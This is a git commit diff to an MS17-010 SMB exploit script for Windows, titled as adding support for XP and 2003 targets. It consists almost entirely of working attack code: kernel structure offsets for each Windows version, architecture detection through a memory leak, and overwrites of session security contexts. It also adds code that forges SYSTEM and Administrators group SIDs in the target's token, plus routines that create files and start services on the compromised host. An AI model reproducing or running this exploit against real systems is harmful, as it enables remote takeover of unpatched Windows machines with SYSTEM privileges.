add support target XP/2003

This commit is contained in:
worawit
2017-07-16 21:08:09 +07:00
parent 395aff2bb2
commit ba85dca89e

View File

@@ -7,7 +7,7 @@ import socket
import time
'''
MS17-010 exploit for Windows 7+ by sleepya
MS17-010 exploit for Windows XP and later by sleepya
Note:
- The exploit should never crash a target (chance should be nearly 0%)
@@ -20,9 +20,13 @@ Tested on:
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
'''
USERNAME = ''
@@ -89,14 +93,17 @@ If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running
to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_64_INFO = {
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
WIN7_32_INFO = {
WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
@@ -104,39 +111,53 @@ WIN7_32_INFO = {
}
# win8+ info
WIN8_64_INFO = {
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
WIN8_32_INFO = {
WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24,
}
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': WIN7_32_INFO,
'x64': WIN7_64_INFO,
},
# for Windows 8 and later
'WIN8': {
'x86': WIN8_32_INFO,
'x64': WIN8_64_INFO,
},
# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0xba,
'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
X86_INFO = {
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40,
@@ -149,12 +170,7 @@ X86_INFO = {
'TRANS_MID_OFFSET' : 0x80,
}
X64_INFO = {
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
WIN7_64_TRANS_INFO = {
'TRANS_SIZE' : 0xf8, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70,
@@ -167,6 +183,80 @@ X64_INFO = {
'TRANS_MID_OFFSET' : 0xc0,
}
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}
X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}
X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
# for Windows 8 and later
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size
@@ -215,22 +305,20 @@ def leak_frag_size(conn, tid, fid):
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 32 bit')
info.update(X86_INFO)
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 64 bit')
info.update(X64_INFO)
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
print('Not found Frag pool tag in leak data')
sys.exit()
# Calculate frag pool size
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
@@ -463,17 +551,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7':
if info['os'] == 'WIN7' and 'arch' not in info:
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
# TODO: do not know target architecture (now assume architecture is known)
# do not know target architecture
# this case is only for Windows 2003
return False
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
# ================================
# groom packets
@@ -497,23 +586,36 @@ def exploit_fish_barrel(conn, pipe_name, info):
# ================================
# POOL_ALIGN value is same as heap alignment value
# TODO: try offset of 64 bit then 32 bit when no target architecture
HEAP_CHUNK_PAD_SIZE = (info['POOL_ALIGN'] - (info['TRANS_SIZE']+HEAP_HDR_SIZE) % info['POOL_ALIGN']) % info['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
success = False
for tinfo in attempt_list:
print('attempt controlling next transaction on ' + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002: # invalid SMB
print('success controlling one transaction')
success = True
if 'arch' not in info:
print('Target is '+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
if not success:
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
return False
print('success controlling one transaction')
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
@@ -604,6 +706,34 @@ def exploit_fish_barrel(conn, pipe_name, info):
})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name):
conn = MYSMB(target)
@@ -624,6 +754,17 @@ def exploit(target, pipe_name):
elif server_os.startswith("Windows Server (R) 2008"):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()
@@ -647,23 +788,58 @@ def exploit(target, pipe_name):
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
# the target has only PCtxtHandle for impersonation (Windows 2003 and earlier)
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
try:
smb_pwn(conn)
smb_pwn(conn, info['arch'])
except:
pass
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
write_data(conn, info, secCtxAddr, secCtxData)
# restore SecurityContext/Token
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
@@ -671,7 +847,7 @@ def exploit(target, pipe_name):
return True
def smb_pwn(conn):
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
@@ -727,8 +903,8 @@ def service_exec(conn, cmd):
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
print('Stoping service %s.....' % service_name)
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception, e:
print(str(e))